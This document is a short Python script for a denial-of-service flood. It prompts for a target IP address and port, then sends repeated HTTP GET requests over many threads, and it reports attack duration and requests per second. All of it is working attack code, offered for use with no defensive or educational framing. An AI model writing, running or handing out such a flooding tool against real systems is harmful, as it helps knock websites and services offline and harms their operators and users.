import socket
import threading
import time

target = input("Enter target IP address: ")
port = int(input("Enter target port number: "))

attack_type = input("Choose attack type (1: single thread, 2: multi-thread): ")
while attack_type not in ['1', '2']:
    attack_type = input("Please choose a valid attack type (1: single thread, 2: multi-thread): ")
attack_type = int(attack_type)

if attack_type == 1:
    total_requests = int(input("Enter total number of requests: "))
elif attack_type == 2:
    threads_count = int(input("Enter number of threads: "))
    requests_per_thread = int(input("Enter requests per thread: "))
    total_requests = threads_count * requests_per_thread

start_time = time.time()
request_count = 0
success_count = 0
failure_count = 0
lock = threading.Lock()

def single_thread_attack():
    global total_requests, request_count, success_count, failure_count
    while request_count < total_requests:
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((target, port))
            s.sendto((f"GET / HTTP/1.1\r\nHost: {target}\r\n\r\n").encode("ascii"), (target, port))
            success_count += 1
        except socket.error:
            failure_count += 1
        finally:
            request_count += 1
            s.close()

def multi_thread_attack(thread_id):
    global request_count, success_count, failure_count
    for _ in range(requests_per_thread):
        try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.connect((target, port))
            s.sendto((f"GET / HTTP/1.1\r\nHost: {target}\r\n\r\n").encode("ascii"), (target, port))
            success_count += 1
        except socket.error:
            failure_count += 1
        finally:
            request_count += 1
            s.close()

if attack_type == 1:
    single_thread_attack()
else:
    threads = []
    for i in range(threads_count):
        thread = threading.Thread(target=multi_thread_attack, args=(i+1,))
        threads.append(thread)
        thread.start()

    for thread in threads:
        thread.join()

end_time = time.time()
duration = end_time - start_time

print(f"Attack completed, total requests sent: {total_requests}")
print(f"Successful requests: {success_count}")
print(f"Failed requests: {failure_count}")
print(f"Percentage of successful requests: {success_count / total_requests * 100:.2f}%")
print(f"Attack duration: {duration} seconds")
print(f"Average requests per second: {total_requests / duration:.2f} req/s")